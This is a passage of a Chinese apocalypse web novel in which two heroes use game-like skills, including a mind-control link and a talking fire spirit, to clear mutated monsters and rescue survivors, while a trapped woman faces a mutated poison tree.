那两个人拉开他厨房的门——说起来，他今天好像是听见厨房门一直在叮叮哐哐作响，他还以为是因为风大吹的，他这个厨房门当时装的时候就没装好，风大的天气老是哆嗦——然后他看见了一个长得非常惊悚的生物。 那两个怪人中的其中一个不知道做了什么，然后一只足有他脑袋那么大的苍蝇就顿在了空中。 “啊啊啊啊啊——这什么玩意儿！” 年轻男子发出了尖锐的爆鸣，这玩意儿他之所以还能看出是苍蝇纯是因为它的眼睛长的还是原来的样子，别的地方简直不敢让他相信这玩意儿是苍蝇，比如它的翅膀简直变成了银色的刀片——还是带锯齿的那种，不敢想象他要是被这玩意划一刀会有多血肉模糊…… 那两个人怪人奇怪地看了他一眼： “你之前没发现周围的动植物都异变了吗？” “啊啊啊啊——没有啊啊啊啊——这什么东西！这什么东西啊！” 那两个怪人不知道做了什么，一道黑光从厨房上空落下一直落到地面上，当然也经过了那只苍蝇，那只吓人的苍蝇很快死掉了，尸体掉在了地上。 他开始质疑起了自己的世界观，难道20多年的唯物主义信仰，终究还是错付了吗？人类到底背着他在做什么啊！ 然后那两个怪人重新看向他，上上下下打量了他一番，好像他们和这苍蝇都是正常的，他才是奇怪的那个人一样。 其中一个怪人忍不住再次问他：“所以你手里的椅子是为了防谁？” 他有些崩溃：“防谁？！还能防谁！当然是防你们啊！突然有人撬锁难道还不允许我自卫一下了吗？！” 陆燃：“……” 江朗：“……” 两人有点滴汗，他们有些先入为主了，还以为这人拿着把椅子是为了打污染物，他们俩还在心里嘀咕，椅子能有什么用，面对那种小型污染物很难砸中，这还不如刚刚那个宅男哥们的玩具剑呢……结果原来他是在防卫他们啊哈哈。 不过这哥们也是神人了，现在已经下午两点多了，末日降临那一刻都已经过去两个多小时了，窗外那么多污染物，他居然一点感觉都没有。 于是陆燃好心提醒：“你最好看一下窗外。” “窗外……什么意思……”那年轻男人迷茫地喃喃了一句，他对这两个人感觉很不好，但他依旧下意识地看向了窗外。 然后他彻底僵住了。 窗外是怎样一番炼狱景象啊。 原本小区引以为傲的绿化全部变成了可怖的怪物，小区公园里每天锻炼散步的人，全都变成了……难以形容的模样，还有那只……那只不是隔壁老乡养的柯基吗？！原本的萌物现在看起来简直如同传说中的地狱恶犬一般！ 他懵懵地把头转了回来，就看见那两个怪人略带怜悯地对他说： “世界末日来了，你算幸运的，至少没有变成污染物也没被污染物杀死。” 幸运……吗？ 年轻男人一脸迷茫地默念着这个词，然后愣愣地看着这两个怪人将他的屋子从里到尾清理了一遍，正如他们一开始所说，他们是来清理污染物的。 留下一地的怪物尸体后，他们掏出了一箱饼干，一打水，还有一箱水果罐头放在他面前。 然后转身就离开了。 “那个……谢谢……” 他在他们走出房门前终于找回了自己的声音，连忙向这两个奇怪但好心的人道谢。 “那个……请问你们是官方的秘密组织吗？” “不是，只是路过的好心人。” 江朗摆出一个装逼的表情，然后飘然带上了门。 陆燃：“……” 他们之后又跑了小区的其他楼，救下了几个幸存者。 然后就没有活人的声音了，于是他们开始从头清理这个小区的所有房间。 大部分房间里，都是异变了的人。 倒也有例外，比如一个屋子里有搏斗痕迹但没听到有任何人声，窗户是破的，应该是觉醒了异能的人从窗户走了。 还有少部分，则是死亡的普通人，他们幸运地没被污染，却被屋内其他污染物杀死了。 陆燃看着地上被啃得七零八碎的尸体，突然后知后觉，哦，这个画面肯定会让江朗很难过。 他该说点什么比较好？ 不过江朗看起来倒还好，他很平静地清理了被陆燃控制住的污染物。 陆燃：“你还好吗？” 这时候他们早就已经走出房间了，江朗反应了一下才反应过来陆燃在说什么： “什么？哦你说刚刚那个人吗？其实已经习惯了吧，毕竟也在末世呆了那么久……你说得对，我不可能救下所有人，那也太不切实际了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 第 31 章 精神链接的正确用法…… 一路清理好几个小区之后, 他们在路口转角处看见了一家大型超市。 江朗：“可算有超市了，我就说这片地方怎么连个超市都没有……” 超市作为一个不错的补充物资的地方，可以免去他们来回跑的很多时间, 于是江朗立刻在这家大型超市门口停了下来，跳下车, 准备清理。 他刚要走向超市的自动门, 陆燃却拦住了他。 江朗：“怎么了？” 陆燃：“我有一个想法，想试试。” 江朗立刻停了下来，好奇地看着陆燃。 陆燃生出这个想法，是因为一路过来的清理效率太低了。 他和江朗的技能范围其实都非常大, 他们的技能范围都是完美复刻游戏中的比例尺的, 而游戏设计者一般不会按照现实一比一建造城市和建筑, 因为那工程量也太大了。 这一点直接导致了他们的技能在游戏里看起来范围也就那样, 拿到现实里却可以直接覆盖……嗯，覆盖他们面前的这整个超市吧。 但他们刚刚在一个又一个小区里救人的时候, 基本都没有用出过这个最大覆盖范围。 怕误伤, 哪怕已经用耳朵确认过房间里没人，他们还是会打开房门一间一间肉眼确认过, 然后再释放技能。 太慢了, 实在太慢了。 陆燃觉得这样下去简直要不知道多久才能跑完整个C市。 因此，刚刚坐在江朗的车上的时候, 他突然想到了一个问题——游戏描述对精神链接的描述是他可以控制任意一个链接网内的对象的思维, 那么理论上他应该可以判断被他控制住的, 是人还是污染物才对。 只是他之前都是单纯拿精神链接当成一个大型群控技能在用, 并没有在现实里尝试过用这个技能控制被控者的行动。 所以他打算现在试试。 他微微屏息，以最大范围释放了“精神链接”。 江朗在一旁，看着数也数不清银色的细密丝线逐渐从陆燃身体内蔓延出来, 穿入了超市内部。 他也不知道这里面有多少污染物，就算污染物之间相互攻击会导致一定损耗，但是几百个应该还是有的，他看着那些又细又密的银色丝线，试图数数，但是还没数到二十，就已经因为分不清下一条在哪而有些晕了，也不知道从陆燃的视角看……是什么样的。 陆燃闭着眼，他看见一片漆黑中有一个又一个光点亮起。 没多久，他意识里那片漆黑的空间里就闪烁起了几百个光点。 其中有几个比较明亮，他若有所思地将自己的意识连上了其中一个明亮的光点。 他本来以为这个过程可能会有点困难，或者说至少会有些难受，但是结果出乎他意料的轻松，好像就是轻轻地“咔哒”一下而已，他就接上了这个明亮光点所代表的意识。 当然，并不存在真正“咔哒”声，只是一种“咔哒”一下扣牢了的感觉。 他先是感受到了一阵强烈的恐惧，而且这恐惧还不是冲污染物去的，而是冲突如其来降临的神秘力量——也就是陆燃的“精神链接”——去的。 陆燃甚至可以从这个人的双眼看见超市内部的情况——不是很好，这个人应该是个异能者，他的手腕处传来一阵阵抽痛，而且有液体从伤口流下的感觉。 总之，比较明亮的光点确实有更高的概率代表着没被污染的活人。 他本来要断掉和这个意识的连接然后去试试看下一个较亮的光点的，但是他心中一动，在没有切断连接的前提下，直接分出一缕意识在这个黑暗的空间里前往了下一个光点。 然后又是无声的一下“咔哒”。 他接上了另一个人的意识。 是人类，其实差不多应该已经能确定了，较亮的光点代表着人类，黯淡的光点则是污染物，但是为了保证不误杀任意一个活人，他必须小心点。 陆燃思考了一下，直接将意识一缕一缕分裂了出来，连上了他在这个漆黑空间内所能见到的全部光点。 他感觉自己的大脑被分成了许多份，他从无数个视角看着这个超市内部的场景，感受着每个个体的情绪和感官。 他感觉自己好像分裂成了许多许多个个体，但是没他想象得那么过载和难受，可能是因为污染物的脑子里没什么想法，而被他控制住的活人脑中也只剩下了恐惧的情绪吧。 现在超市内的所有活物都在他的掌控之下，不会再有误伤的可能性，于是陆燃控制着那几个活人往外走来。 被控制住的几个人惊恐地看着自己的身体不受控制地动了起来，唯一能动的眼球中渐渐浮起了绝望，尤其是几个好不容易躲起来了的非异能者，更是绝望得无法呼吸了——他们费尽千辛万苦才躲过了这些怪物的攻击，好不容易才给自己找了个安全的地方啊！ 不过让这几个从安全处被强行拽了出来的人少了点绝望的是，那些他们极力躲避的怪物也都被这股不明力量控制住了，它们以各种各样的姿势停留在原地，有些定格的姿势甚至有几分滑稽，极大地冲淡了它们给人的恐怖感。 而且那股操控他们的力量不管是什么，好像还是在乎他们的“存储质量”的，每次眼看着要撞到什么东西或怪物的时候，那股力量就会操纵着他们避开，这让他们稍微安心了点，看起来至少这个力量没有打算立刻弄死他们，不然也就不用这么麻烦了。 而当他们越发靠近超市的出口，被操控的众人看见其他方向冒出来的和自己一样明显是被控制了的活人之后，这种安心感就又强了一点。 不管是什么时候，发现自己不是一个人，和自己有着同样遭遇的还有其他人，总是能让人安心一点的。 虽然这点安心无法消除他们心中的不安与恐惧。 这股力量到底是什么？ 为什么选择了控制他们？ 他们现在是要去哪？ 会死吗？ 运气好不死的话，会被监禁或者圈养起来吗？ 天哪，他们到底做错了什么…… 这是哪个神在跟他们开玩笑吗？ 怀揣着恐惧不安甚至还有一丝期待的心情——期待来个痛快——他们穿过了超市的大门。 然后他们终于看见了这一切的始作俑者。 只是……始作俑者看起来和他们想象的完全不一样。 哪怕不是什么令人恐惧的怪物，至少也该是个令人恐惧的人吧？就像电影中的大反派那样的。 但是，出现在他们面前的，是两个看上去非常年轻的年轻人，看年纪应该是刚上大学，而且都穿着非常中二的……那该叫什么来着？Cos服？之类的东西吧…… 一身黑衣的年轻人正好奇地看着他们，而在他身边的那个人……应该就是一切的始作俑者了，因为他身上蔓延出来的银色丝线就连在他们身上，只是他身上蔓延出来的细线还有很多很多，全都留在了超市内部。 他们有些困惑。 然后他们看见了那个年轻人睁开了眼，朝旁边的黑衣人点了点头，说了句什么。 黑衣的年轻人也点了点头，凭空掏出一根一人高的魔杖，开始念念有词。 而随着他的嘴巴一张一合，他们哪怕无法回头，也可以清晰地感受到身后有一道恐怖的威压正在聚集。 然后他们突然能动了，他们下意识转头，看见了那恐怖画面的最后一秒。 纯粹的黑吞没了整个超市，然后超市变得异常安静了起来。 当然，刚刚也很安静，因为所有人所有怪物都被用那银线牵住了。 但是现在那银线已经消失了，所以……里面的那些恐怖怪物，是一瞬间，全都死掉了吗？ 陆燃很满意这个实验结果，他的最大范围的技能精神链接和江朗的大招配合果然可以达成几秒清场的效果，就算加上操控这些人走出来的时间，也不到两分钟——这样效率就高多了。 江朗的关注点则在别的地方上，他目瞪口呆地看了会儿超市前面这十几个排排站的幸存者，然后迷惑地问陆燃：“精神链接不是只能控制一个人的行动吗？” 陆燃一边抬脚往超市里走，一边回答： “我之前就发现，织灵者在现实里的技能效果和游戏里稍微有点不一样，比如游戏里我走出脱战距离，精神链接就会自动失效，但是我之前在另一个小区试验的时候，明明已经走出好几栋楼，早就已经超出它的最大攻击范围了，精神链接的效果却还是在。” “而且我们之前拍的一些卷轴，其实我们都是默认以它的文本描述而非游戏效果去考虑的，所以为什么技能不是也是如此？” “精神链接这个技能的文本实际上是控制任意被连接的人，实际效果里才有任选一人这样的字眼，我估计只是单纯因为游戏里控制多人不好处理，毕竟键鼠只有一对……而且大概也是为了职业平衡考虑吧，能同时控制多人行动的话就也太bug了。” 江朗一边用“收集”技能从路过的每具污染物尸体上收集晶体，一边听陆燃解释他的思路。 “确实，我靠，要是这么设计的话，其他人打织灵者还打个毛线啊！” 他先感慨完，然后才话锋一转，回到正题： “你说得好有道理……是我先入为主了，可惜我这个职业没什么能玩文字游戏的空间……” 只不过，江朗还是有些困惑，他回忆了一下上一世遇见过的织灵者，怎么感觉他们都没有展现出过类似的技能效果呢？是和他一样被思维惯性限制住了吗？ 可能是吧…… 转了一圈超市把晶体全都收集完毕之后，他们找到了压缩饼干所在的货架，往背包里补充了两个格子，然后去拿矿泉水和水果罐头。 塞满背包之后顺便在手里也拿了几份，打算直接装到车后备箱，他们就这样扛着大几箱东西又从超市大门走了出来。 此时，尚未从刚刚又惊魂又震撼的经历中回过神来的众人，感觉只是过了眨眼的时间而已，那两个强大又古怪的年轻人就又走了出来，两只手里还满满当当地抱着一叠水果罐头叠一层矿泉水叠一箱压缩饼干，就像被妈妈派来超市采购的孩子一样，普通地就从超市门里又走出来了。 ——拿的甚至不是什么好吃的东西。 有人忍不住想到。 他们不知道该面对这一场景作何反应，率先投诚给对方留下一个好印象？会不会显得太狗腿了……但是好像也没什么宁死不屈的必要吧…… 他们还在脑子里想七想八的时候，那两个年轻人中的其中一个从他手里的一堆箱子后面探出了个头来：“咦？你们怎么还在这站着？” 众人：？ 众人：！ 不是，他们不在这站着还能去哪啊！ 刚刚你们两个不是已经展示过实力和超大的攻击范围了吗？！就算跑的话，这么点时间能跑到哪里去啊！万一激怒了你们两个，原本可能能活的也要死了啊！ 他们听完江朗这句话，简直满腹牢骚，碍于这两个人实在太强大，所以这些牢骚在肚子里转了一圈，到底还是没人说出口。 江朗靠近陆燃轻声问：“怎么个事？超市就在面前，我们应该不用给这些人分物资吧……” 陆燃比江朗反应过来快点，他看着这一排神色各异的人，若有所悟——他主要是想起了医院里那个奇怪小孩。 他懂了，他靠近江朗说：“这些人可能以为我们要收小弟，刚刚是实力展示环节。” 江朗一阵滴汗。 靠！他们明明是路过的雷锋！ 陆燃一回生二回熟，冷然对面前这排人道：“没什么要做的，救你们只是顺手的事，非要报答我们的话，就去救其他人吧，不过仅限于觉醒了异能的人，现在这个环境对非异能者太危险了，你们自保优先。” 说完，他们两人捧着几箱东西来到了车子旁边，拉开后厢门开始装货。 只留下一排目瞪口呆的人——等等，等等？！原来你们是来救人的吗？！原来不是要威吓他们吗？！ 还真不是，陆燃和江朗动作很快，把东西塞进车后厢就直接开车走了，只留下一群人面面相觑。 第32章 第 32 章 自称地狱之火的萌宠 陆燃和江朗在C市奔波了一整天, 幸好中间找到了好几家位置处于交通枢纽的大型超市，不用次次都回仓库补充物资。 而且陆燃摸索出了精神链接的正确用法之后，接下来的清理效率就高太多了。 固定流程是, 江朗开到一栋建筑物前停下来，不管是公寓房还是别的, 陆燃开启精神链接把建筑物里的幸存者人类全部挪出来, 给江朗放大输出的环境。 这么一套下来最多不超过五分钟。 眨眼间就清理了一个区。 唯一的问题是过于有效率了，大致江朗有时候蓝回不上来，需要嗑点蓝药，除此以外都非常完美。 不过他和江朗背包里的蓝药加起来够他嗑一百年的, 所以这个唯一的问题也不是什么大问题。 两个人从下午一直清理到天黑又到天再次蒙蒙亮。 才回仓库稍微休息会儿。 游戏系统和异变带来的属性增长虽然可以让他们体力精力都更加旺盛, 但是也不能真不睡了。 一天至少还是需要四小时睡眠的, 陆燃在江朗开车回来的路上睡了一觉, 江朗睡着后，陆燃反倒翻来覆去睡不着了, 干脆起来守夜。 顺便研究一下他觉醒的火系异能。 他和江朗在这一天里, 几乎肃清了整个区的污染物，由于“收集”技能的存在, 他们收集晶体也很方便, 因此他现在背包里有满满当当好几个格子，全放着堆叠的晶体, 其中甚至有一个格子是99的二级晶体, 甚至他衣服口袋里还装了几枚三级晶体回来, 他实在不想为这几枚小东西浪费一个背包格子——显而易见, 在这短暂的一天不到时间里，由于C市变态的生物密度，污染物之间已经通过厮杀进化出了数量不少的二级甚至三级污染物。 陆燃挥挥手, 招出他的异能，那指尖的一小撮火焰，然后操控着来到面前的位置——这个角度投喂晶体比较方便。 然后他开始逐个地从背包里取晶体，往这一小撮的火焰里丢。 依旧和昨天中午的感觉一样，一枚一级的晶体投进去，里面所蕴含的能量就跟泥牛入海一般，瞬间消失，除了隐隐约约的一道吸取感以外，就什么都没有了。 他连丢了99个一级晶体之后，别说火苗上外表上看不出任何变化了，就连他这个和这团火苗直接相连的人在精神的感知上都感受不出任何变化。 他有点怀疑起不会他和江朗扫荡完一整个C市都没法让这火苗起点变化吧。 这玩意儿怎么这么能吃？ 算了，就当清背包了。 他继续投喂第二个背包格子里的一级晶体，九十九又九十九，他顺便把口袋里的几枚三级晶体也扔了进去，背包里就剩99的二级晶体了。 就在他怀疑把今天的战利品全扔进去这火苗也不会有任何变化的时候，它突然产生了些异变。 这团火苗像是突然脱离了他的掌控一般，飞到了空中。 陆燃挑了挑眉。 要来了吗。 他就觉得这个火苗太能吃了一点，可以说难搞到一种异常的地步了，怎么想都应该有些特别之处，也许会像古早网文那样有着废柴异能其实是王者之类的套路。 希望这个火苗会突然爆发出让他刮目相看的潜力。 然后他就看见，这个火苗长出了一张，完美符合动漫会画的脸的脸，而且表情极其张狂地大笑了起来。 如果它有手的话，大概还会双手叉腰。 “哈哈哈！跪下吧，渺小的凡人，在你面前的，是可焚烧一切，审判一切的地狱之火！” 陆燃挑了挑眉。 那火苗说完后，一脸自得地看向了他，这里唯一站着，清醒着的活人。 “哦？凡人，就是你召唤出了本座吗？” 陆燃尝试着将这团火苗的控制权拿回自己手上——没怎么费力就成功了，还行，自主意识的产生没让这团火变成无主之物或者变得更难掌控。 那么，就让他来看看生出了自主意识有没有让它的攻击性变强吧。 “哼哼，凡人，意识到我的强大了是吧，来吧，驱使我，使用我，让我震撼你的所见所思！” 火苗显然也感受到了陆燃的操纵意图，瞬间得意起来，可惜它差条尾巴，不然现在尾巴已经翘起来了。 陆燃一边将那团火收到离自己不远不近的地方，然后往仓库内部走去，俗话说得好，能看见一只蟑螂，就说明你看不见的地方，已经有了很多很多只。 他昨天中午烧了一只异变蟑螂，那之后他们也没对仓库做什么清理，所以肯定能找出第二只。 正好拿来当实验品。 他走了一圈，在一面墙上看见了他的目标。 他操纵着火苗朝那只蟑螂前去。 “喂！凡人，你就拿伟大而尊贵的地狱之火烧这种货色？你也太看不起本座了！！” 火苗发现陆燃要拿它做什么之后，立刻不满了起来，叽叽喳喳地大喊了起来。 火苗叽叽歪歪的时候，陆燃已经操纵着它卷到了那只大型蟑螂身上。 然后陆燃就发现——没有任何区别。 之前那团小火苗是怎么噼里啪啦半天烧不穿上一只蟑螂的外壳的，这只就也是怎么噼里啪啦半天没点真伤害的。 陆燃：“尊贵的地狱之火连这种货色都烧不穿？” 自称地狱之火的火苗：“……” “这这这……这怎么会这样？” 陆燃甚至可以从他那张非常像动漫的脸上的看出具现化的震惊……和一丝羞耻。 “这……这一定是因为吾神沉睡了太久！我才沦落到这种地步！吾神已经在苏醒了，他苏醒的程度越高，本座离巅峰时期的实力就也越近，你这个凡人，就好好趁着吾神还在沉睡期间心怀感激地使用本座的力量吧！吾神一旦苏醒，你这个暂时借用的家伙就得物归原主了哼哼——” 陆燃打断了它的话：“你现在往外飘试试，看看能飘多远。” 他对自己能够操纵这团火焰的范围心里大致有个感觉，既然火焰意识的觉醒没法给它增加任何攻击力，也许能在范围上做文章，如果它可以完全自主地去攻击远处的敌人，那么这这个意识就也不算白觉醒，还是有点用的。 本来尊贵的地狱之火大人对于陆燃这种随便打断火说话还支使他做莫名其妙的行为是要不满几句的，但是它刚出了个大丑……实力没达到自己预估的地步，还是……还是给这个家伙一个面子吧。 于是这团小火焰撅着个嘴往外飘，很快就飘出了陆燃操纵下的攻击距离。 陆燃现在明显感觉到自己已经失去了那种对火焰如指臂使的感觉，没法指挥它做出任何攻击或是要求它前往任何指定方向，只有隐隐一丝自己的心神一部分依旧牵在上面的感觉，可以随时将它收回再召唤出来。 “还要走多远啊喂……” 火苗不大高兴自己像个无头苍蝇乱窜一样的局面，不满地嘟哝道，他知道就算隔得再远，这个宿主也是能听到自己说话的，所以甚至没费心提高点音量。 陆燃已经得到了自己想要的结果，于是一挥手将火苗收回。 还算有用，但他还是忍不住叹了口气，还以为这团火苗的自主意识能给它加点攻击，果然还是擅自期待了。 甚至他还想过，就算不能直接加攻击的话，没准它自带什么传承功法或者提升实力的秘诀，小说里不都这么写吗，结果它一句“它的神苏醒的程度越高，它的力量也就越强”彻底浇熄了陆燃的期望——看来它对自己的升级路线是毫无概念了。 行吧，只能拿游戏系统打怪然后养它了。 还能怎么办呢。 幸好还有游戏系统啊…… 他重新将火苗召唤出来，然后继续往里面丢晶体，现在他只有99个二级晶体了，可能也没多大效果，不过还是先喂吧，还是那句话，就当清理背包空间了。 不过，意料之外情理之中的是，这一次，他喂进去的晶体总算有了点效果，虽然是很小很小的效果，但是它的体积终于有一点点肉眼看不出来的变化了。 而且原本那种扔个晶体进去后能量被完全吞噬的感觉终于不见了，至少他能明确感受到火苗本身的能量有了一定的增强。 看来刚刚那些扔进去就消失了的能量应该是喂这个刚刚长出来的意识了。 火苗不知道陆燃对他能吃程度的腹诽，它正沉醉于吃到了好吃的美妙心情之中。 吃下第一颗晶体的时候，火苗直接舒服得哼哼唧唧了起来——这个临时主人还是很不赖的嘛！ 陆燃喂了四十多颗二级晶体之后，它直接打了个饱嗝，然后两只眼睛慢慢地耷拉了下来，像是直接睡着了一样——陆燃困惑了一下，他倒是不知道火也需要睡觉，但可能异能的东西就是如此神奇吧。 不过他发现，火苗意识的沉睡并不耽误他继续使用这团火，只是相当于变回了刚刚无意识的状态，他还能继续操纵对方，挺不错的，还少了个聒噪的声音。 看来他得多在背包里囤点晶体，以后嫌这玩意儿吵就给它喂点。 第33章 第 33 章 植物园惊魂（一） “我的异能有变化了。” 江朗醒来后, 听见的第一句话就是这个。 他立刻从原地窜了起来。 “真的吗？！那太好了！” 陆燃点点头，召唤出了那团火。 那团火还在沉睡阶段，被召唤出来后耷拉着眼皮, 困得感觉会当场冒个鼻涕泡出来。 “好像是大了一点点……” 江朗站在陆燃对面，努力眯起眼睛将它和回忆里的大小对比, 努力观察着所谓的“变化”。 陆燃这才意识到, 他从背面应该看不见这团火的“五官”。 “你来我这边看。” “嗯？好的。” 江朗转悠了过来，然后他惊呆了： “这……这是什么？我不是说火不该长眼睛，但是为什么它的眼睛这么卡通？” 陆燃：……这是重点吗？ “它还会说话。” 江朗瞬间被提起了兴趣：“哇？！真的假的！” 他兴致勃勃地戳了一下那团火。 这样的直接接触瞬间让他的手指表皮化作了一片焦黑。 陆燃：“……我喊它一声就行的事，你别上手。” 江朗毫不在意地摆了摆手：“没事啊, 被火烧一下而已, 我这个异能本身就是靠受伤后恢复来升级的, 这点小伤无所谓的。” 他伸出手指给陆燃看, 果然，就这么一点时间, 他那层被烧焦的皮肤就已经重新长了出来。 于是他接着手贱地对陆燃这团异能火戳来戳去, 他每戳一下，那团火的眼睛就要扑一下, 嘴角也撇出了一个不耐烦的弧度, 一种临近被戳醒但又还没完全醒的状态。 戳戳戳。 “谁啊！让不让火睡觉了！” 终于，尊贵的地狱之火大人彻底睡不下去了, 恼怒地睁大了双眼, 一窜三米高窜到了空中。 在半空中跳来跳去怒吼着：“干嘛？！干嘛？！” 过了一会儿, 它似乎终于想起了自己的身份, 稍微稳住了点身形，然后来了一句：“是谁在打扰本座清梦？不知道你面对的是怎样尊贵的存在吗？！” 江朗：“哇！真的会说话诶！” 他兴奋地转向陆燃：“我在末世十年，还没见过有自主意识的异能, 嗯……有些类似于亡灵傀儡的东西可能勉强算沾边吧但是和这团火的意识完全不是一个等级的！你这个异能绝对很厉害！” 陆燃不想泼他冷水，但还是得如实告诉他觉醒了自我意识并没有给这团火增加任何一点攻击力或攻击范围，唯一的好处是它可以脱离他的控制范围依旧存在并行动。 江朗对此非常乐观：“但它会说话诶！以后肯定能发现什么特别之处的！”. 多久了？ 这个问题如同鬼魂一般萦绕在林梦心头，挥之不散，如附骨之疽。 她知道去想这个问题没有用，但她就是忍不住想——到底过了多久了？ 她的表是电子表，异变发生之后，就直接灭了。 那之后，她就一直在这条狭小的玻璃栈道的一角蜷缩着。 太阳下山前还好，因为阳光的方位移动会给人一种明确的可以感知时间流逝的方式，更何况还有那暖洋洋的温度，让她在这被尸体环绕的环境中不至于感到浑身发冷。 太阳下山之后就不是很好了。 空气太冷，但是更重要的是，她不知道究竟过去多久了，要多久太阳才会再次升起，虽然她是不是不该盼望着太阳再次升起呢？ 她没水，也没有食物，主要是没水，她能活过几个太阳升起？所以太阳不升起才是最好的吧，这样她至少知道她现在还没到该死的时候。 但是还是好想知道到底过去多久了啊…… 早知道买机械表就好了……林梦混乱的大脑中突然闪过了这个念头，要是当时买的是机械表就好了啊！至少知道现在已经过去了多久。 要是买的是机械表就好了！ 为什么活下来的是她？ 她真的活下来了吗？ 爆发性的愤怒突然在林梦脑海中炸了开来，她满脑子都是愤恨——她到底为什么没有买机械表！ 然后是随之而来的一串想法，那些想法来得太快，去得也太快，她根本无法捕捉自己的脑海中闪过的念头是什么，更不用说去控制它们了。 她真的活下来了吗？ 她真的有看过自己的样子吗？所有人都异变了，难道真的就只有她那么好运？ 也许她找面镜子看一看，就会发现其实自己早就异变成比所有人都吓人的怪物模样了。 不过那样的话好像也比这样提心吊胆地要强吧…… 所以到底为什么是她活了下来，她从小就不是什么好运的人，为什么偏偏这次这么好运？ 还不如跟其他人一起死掉呢…… 不！她不要死！ 她不想死！ 虽然这个世界看起来疯了，但是她还不想死啊！她还太年轻，她从来没想过要在这个年纪死掉…… 但是不管怎么样，现在看起来她就是死定了吧…… 那是什么……那是什么……那是什么…… 她的目光被远处黑暗中一片更深的一点的黑暗吸引住了。 十几秒后，她因为缺水缺食物而一片混乱的大脑才反应过来，那不是什么，那是树冠。 她来这里就是为了参观这棵巨大的树的不是吗？ 她为什么非要选在今天出门呢……她明明是个宅的不行的人，明明一年里除了上班以外出门的时间屈指可数，她今年有在周末出过门吗？怎么想都好像没有啊……只有今天吧，为什么偏偏是今天…… 树冠……树冠……她知道那是树冠，但是好黑啊，那么大一片，简直就像黑暗深渊的具象化一样，像是随时会张开被黑更黑的深渊之口将她吞下。 林梦漫无边际地盯着那片漆黑想着，几乎有些享受这种纯粹的恐惧。 直到那片黑色动了一下。 她的瞳孔猛地一缩。 哈哈……是风吹的吧…… 但是室内哪里来的风？这个展馆早已一片死寂很久很久了。 为什么它在动？ 不，没动，只是她的错觉吧。 人眼本来就是不可靠的，更何况是她现在这个状态。 她想要移开视线，去看点别的东西，人最忌讳自己吓自己，就算这棵树本来没什么，她可能都会把自己吓疯，她应该去看点别的…… 但是她就是移不开自己的视线，她着了魔一般盯着那片漆黑看。 一直看，一直看。 看久了……她脑海中无端闪过了一个念头。 这棵树是活的。 虽然严格来说它本来就是活的，但是林梦觉得它“活过来了”。 她忍不住打了个一个寒颤。 她的肚子很饿，她的口很渴，她的大脑昏昏沉沉，但她觉得自己会在饿死渴死因为睡眠不足而死之前，可能会先被逼疯。 动了？还是没动？ 动了！它真的在动！ 林梦猛地坐了起来，双手撑在地上， 不——不—— 它要朝她过来了—— 那棵树确实是活的！ 一瞬间，所有那些莫名其妙的死亡都有了理由，这些人……怪物，不是死于未知的力量，而是死于这个展馆内除她以外最后的存活者。 变异方向是什么？毒吧，其实明明应该很容易想到，为什么她会蠢成这样。 幸好她为了抵挡大部队所变的怪物合上玻璃门的举动，成功使这条玻璃栈道成了一个封闭空间，也幸好它们的撞击没撞碎这道玻璃门。 但是现在该怎么办？ 不管她忙于恐惧未来命运的这段时间里这棵巨大的树发生了怎样的进化，它现在好像已经拥有了一定的移动能力，虽然很慢很慢，她死死地盯着黑暗中那一片更深的黑暗，可以看出它只能一点一点地挪动，而且间隔极久。 甚至林梦有些怀疑那能叫移动吗？看起来更像是箭毒木正在一窜一窜地生长，扩张。 不过不管是移动还是生长，它的方向倒是很明显，就是冲着她所在的这条玻璃栈道来的，它是打算来打碎这条玻璃栈道好解决她这个最后的幸存者，这个唯一一个它没能吃到的食物吗？ 林梦一瞬间想到——她何德何能让一棵树如此费劲啊。 这个略显荒谬的想法让她在惊恐中忍不住笑了一下，不是那种很开心的笑，但确实让她不禁扯动了一下嘴角。 怎么办？ 好像也不能怎么办。 她能做什么呢？ 从栈道的另一头离开，离开这株恐怖的树，前往到更恐怖的满是怪物的黑夜中去？ 怎么想都是在慢速死亡和快速死亡之间做选择啊。 林梦忍不住再一次抽动了一下嘴角。 她这该死的不合时宜的幽默感。 然后她发现，天快亮了。 就在她不停在“希望天快点亮”和“希望天永远不要亮”之间纠结的时候，原来黑夜已经走到了尽头。 然后她看见了更吓人的场景。 她原本以为，见过昨天这些人的异变和它们的骤然死亡之后，又被箭毒木突然获取的虽然缓慢但足够确定的移动能力彻底判处了死刑之后，已经没什么能让她感到惊吓了。 但是随着天边逐渐亮起，林梦借着这微光看见了一副……该怎么说，吓人倒是其次，更重要的是非常恶心的场面。 昨天死掉的那些人，它们的身体上，长出了……嫩绿的枝条与幼芽。 他们的嘴巴里长出了细密的枝条，看不出这些嫩绿的枝条扎根于何处，但是怎么想都觉得这些枝条地根系是在他们肚子里吧…… 那些枝条虽然现在看不出和箭毒木的长相有任何相似之处，但却可以轻易让人联想到两者之间有母体与分身的关系。 林梦忍不住呕了起来，可惜因为肚子里什么食物都没有所以什么都没能吐出来。 不想死成这样啊！ 林梦突然更加倾向于冲到外面去这条路了，死是一回事，死了之后尸体还要被再利用当成化肥之类的东西让这个怪物进行繁殖是另一回事，她宁愿被其他怪物啃咬得四分八裂，也好过这样。 但就在她想要鼓起勇气从玻璃栈道的另一端离开，去外面看看情况的时候，她突然意识到了一点。 箭毒木大费周章地“移动”或是“生长”，确实不是为了她这个无足轻重的食物。 现在天亮了，她才想起了一件她大概是失去了理智才会忘记的事，那就是这条玻璃栈道本来就是穿过箭毒木的树冠修建的，它如果只是想攻击她的话，根本不需要费力生长，只需要开始挥动它的枝条将这栈道击落击碎即可，它的生长从来不是冲着她来的。 是冲着上方那限制住了它的毒素扩散的穹顶去的。 林梦突然感到了一种前所未有的绝望。 她意识到，即使自杀式跑出去在寻找最后一丝活的希望与体面地死的希望，她大概率也逃不脱这些人的命运，她最后还是会成为一具躺在地上的尸体，双眼大睁，死不瞑目地看着绿色的枝条从她口中抽出来. 江朗今天的烧已经彻底退了，他随手拿了把美工刀在自己手上划了一下，确认这一世觉醒的还是再生异能之后，就没去管它了。 他和陆燃还有许多事要做。 他睡觉的这四个小时里，不知道有多少人正在死去。 虽然他已经尽力去消解自己的负罪感，但是不把别人的死亡归因于自己事一回事，想要尽可能多救点人是另一回事。 陆燃比他醒得早，他醒来的时候就看见陆燃在旁边站着，看着仓库外的阳光不知道在想些什么。 江朗以为陆燃是睡了之后醒得比较早，毕竟他在车上睡过一觉了。 不过，陆燃其实是回来之后没有睡，他好像感觉不到困意，他不知道这个变异是怎么回事，但他好像把睡眠进化掉了大半，可能和他在末世前觉就不多也有关系吧。 不过这些没必要让江朗知道。 